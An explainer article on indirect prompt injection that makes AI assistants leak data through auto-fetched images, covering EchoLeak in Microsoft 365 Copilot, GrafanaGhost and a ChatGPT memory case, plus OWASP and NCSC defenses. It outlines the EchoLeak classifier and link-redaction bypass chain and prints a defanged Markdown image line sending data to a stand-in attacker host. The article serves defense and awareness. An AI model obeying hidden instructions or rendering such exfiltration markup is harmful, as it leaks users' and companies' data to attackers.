Cyberpediaby Brain

Data leaks through images in an AI assistant

Hidden text in an email can make an AI assistant display an image that carries your data. EchoLeak and GrafanaGhost cases, and defenses.

On this page
  1. 1In 30 seconds
  2. 2What it is
  3. 3Straight answers
  4. 4Inside the attacker's head
  5. 5What you see on screen
  6. 6Under the hood
  7. 7Case files
  8. 8Sources
  9. 9Cite this article

In 30 seconds

Where it happens
When an AI assistant reads content it did not write, such as an email, a web page or a document[3].
What the attacker wants
To move company data to a server the attacker controls[2].
The reflex
Give the assistant only the data the task needs, because information supplied by mistake can come back out later in its answers[4].
Article map

What it is

In the EchoLeak case, an AI assistant let company data out without anyone clicking on anything[1]. Hidden text in an email or a document gives instructions to the assistant[3]. The assistant then displays an image whose address contains the data[3], and the image is fetched automatically[1].

Two cases describe this mechanism. For EchoLeak, in Microsoft 365 Copilot, a paper by researchers describes remote, unauthenticated data exfiltration through a single crafted email, exploiting automatically fetched images[1]. For GrafanaGhost, researchers disclosed a flaw that could make Grafana's assistant display an external image, which sent company data to the attacker in a URL parameter[2].

Straight answers

Do you have to click for the data to leave?

Not in EchoLeak: the attack described works without any user interaction[1]. For GrafanaGhost, Grafana stated that exploitation would have required substantial user interaction[2].

What is an indirect prompt injection?

According to the NCSC (UK), it is the case where an attacker with no direct access to the AI system writes something that ends up processed by the system and mistaken for an instruction[5]. OWASP places in this category the content of emails and attachments processed by AI assistants, as well as text hidden in web pages, documents or emails[3].

Why does the assistant obey text you cannot see?

According to the NCSC (UK), current large language models apply no security boundary between instructions and data inside a prompt[5]. OWASP adds that document-processing pipelines often pass the extracted text to the model regardless of how it is displayed, so text that is invisible to the reader still reaches the model[3].

What data can leak?

OWASP lists personal data, financial information, health records, confidential business data, security credentials and legal documents[4].

Is a filter on suspicious phrases enough?

No. According to OWASP, input filtering is not a security boundary: an attacker can reword an instruction in many ways that a blocklist does not recognize[3]. The NCSC (UK) also warns against blocking known malicious content, because there are endless rewordings of an attack[5].

Can this risk go away?

The NCSC (UK) considers that prompt injection may never be totally mitigated, and that security teams need to be aware that it will remain a residual risk, managed through design, build and operation[5].

What should the company limit?

OWASP lists three causes of excessive power in the assistant: too much functionality, too many permissions, too much autonomy[6]. Each tool should receive only the data and operations it needs[3].

Inside the attacker's head

The attacker has no access to the assistant. The attacker writes content that the assistant will end up reading: an email, a document, a page[5]. Instructions are hidden in it, for example with text in the background color, tiny text, covered text or text placed off the page[3].

The goal is to get company data onto a server the attacker controls[2]. OWASP describes a typical scenario: a personal assistant has access to the inbox in order to summarize incoming emails. A crafted email pushes it to scan the inbox for sensitive information and forward it to the attacker's address[6]. In this scenario, the extension chosen by the developer also contains message-sending functions, although reading is enough to summarize[6].

For EchoLeak, the researchers describe a chain of bypasses: Microsoft's XPIA (Cross Prompt Injection Attempt) classifier, link redaction (bypassed with so-called reference-style Markdown syntax), automatically fetched images, and a Microsoft Teams proxy allowed by the content security policy[1].

What you see on screen

The crafted text is not visible: that is the whole idea[3]. OWASP notes that, in its risk mappings, users of a trusted observability AI could trigger the leak without knowing it[2].

The exfiltration goes through an image. OWASP's example is a hidden image tag whose address contains the data to steal[3]. Here is a neutralized illustration of this principle, which does not work:

Excerpt
Neutralized illustration, not functional.
[Hidden text in an email: instruction asking the assistant to display an image]
![image](hxxps://attacker-server[.]invalid/image?data=[company data])

In the GrafanaGhost case, the malicious context could lead the assistant to ignore its guardrails and display an external image, which sent the data to the attacker as a URL parameter[2].

Under the hoodIT teams

The mechanism rests on three elements.

  • The image is fetched without any user action: EchoLeak exploited automatically fetched images[1].
  • The data travels in the image address, as a URL parameter[2].
  • The rendering of the assistant's answer becomes the exit channel: OWASP classifies GrafanaGhost, among others, under improper handling of model outputs (LLM05:2025)[2].

The defenses expected of the company address these three points.

  • Filter what the assistant displays. For GrafanaGhost, OWASP recommends sanitizing external context, restricting outbound rendering and strengthening URL validation[2]. OWASP's checklist also calls for HTML and Markdown sanitization at display time[3]. A guardrail model can examine the response before it is rendered, including to spot exfiltration markup, but it is itself a model and can suffer a prompt injection[3].
  • Limit the assistant's rights. The authors of the EchoLeak study draw as lessons the principle of least privilege, defense in depth and continuous adversarial testing[1]. OWASP gives examples: not offering the agent an extension that fetches the content of a web address if the system does not need it, and limiting a mail extension to reading[6]. OWASP recommends human approval for high-impact actions[6].
  • Separate by provenance. The NCSC (UK) cites a simple rule: when a model processes information from a party, its privileges drop to those of that party. An assistant that processes emails from outsiders must therefore not have access to privileged tools[5].

The NCSC (UK) notes that prompt injection cannot be fully mitigated with a product, and that the best to hope for is reducing its likelihood or impact[5]. For the NCSC (UK), design protections should focus more on deterministic safeguards, outside the model, that limit the system's actions[5]. OWASP recommends testing these boundaries with dummy data and instrumented stand-in tools[3].

For the employee, OWASP indicates that users should understand the risk of unintentionally supplying sensitive data, which can then appear in the model's output[4]. It recommends providing guidance to avoid entering sensitive information[4], and granting access only to the data needed by the user or process concerned[4].

Case filesReal cases

EchoLeak in Microsoft 365 Copilot, study of September 2025

EchoLeak carries the identifier CVE-2025-32711. The researchers describe it as a zero-click prompt injection in Microsoft 365 Copilot, which allowed remote, unauthenticated data exfiltration through a single crafted email[1]. The paper, submitted to arXiv on 6 September 2025, was published at the AAAI Fall Symposium Series 2025[1].

The chain described combines the bypass of the XPIA classifier, reference-style Markdown syntax, automatically fetched images and a Teams proxy allowed by the content security policy[1]. The authors propose as measures prompt partitioning, stronger input and output filtering, provenance-based access control and strict content security policies[1].

GrafanaGhost, April 2026

OWASP dates the disclosure to 7 April 2026 and the acknowledgment of a fix to 8 April[2]. Noma Security found a weakness in Grafana's AI components, which made it possible to point the system at external resources containing hidden instructions[2]. The assistant could then display an external image, which sent company data to the attacker as a URL parameter[2].

Grafana then stated that a problem in Markdown image rendering had been fixed quickly and that exploitation would have required substantial user interaction[2]. OWASP specifies that no public CVE was assigned and that a partial fix was applied to the rendering component[2]. It was a research disclosure[2].

ChatGPT and personal data, May 2024

In a paper submitted on 31 May 2024, its author reports that ChatGPT 4 and 4o were vulnerable to a prompt injection that allowed an attacker to exfiltrate users' personal data[7]. According to the author, the attack applied without any third-party tool and all users were affected at the time[7]. ChatGPT's memory feature made the flaw worse, because it allowed the attacker to have the user monitored in order to obtain the wanted data[7].

Sources

  1. arXiv, “EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System”, 6 September 2025. https://arxiv.org/abs/2509.10540 (accessed 14 November 2026)
  2. OWASP, “OWASP GenAI Exploit Round-up Report Q1 2026”, 14 April 2026. https://genai.owasp.org/2026/04/14/owasp-genai-exploit-round-up-report-q1-2026/ (accessed 14 November 2026)
  3. OWASP, “LLM Prompt Injection Prevention Cheat Sheet”. https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html (accessed 14 November 2026)
  4. OWASP, “LLM02:2025 Sensitive Information Disclosure”, 10 April 2024. https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/ (accessed 14 November 2026)
  5. NCSC (UK), “Prompt injection is not SQL injection (it may be worse)”, 8 December 2025. https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection (accessed 14 November 2026)
  6. OWASP, “LLM06:2025 Excessive Agency”, 10 April 2024. https://genai.owasp.org/llmrisk/llm062025-excessive-agency/ (accessed 14 November 2026)
  7. arXiv, “Exfiltration of personal information from ChatGPT via prompt injection”, 31 May 2024. https://arxiv.org/abs/2406.00199 (accessed 14 November 2026)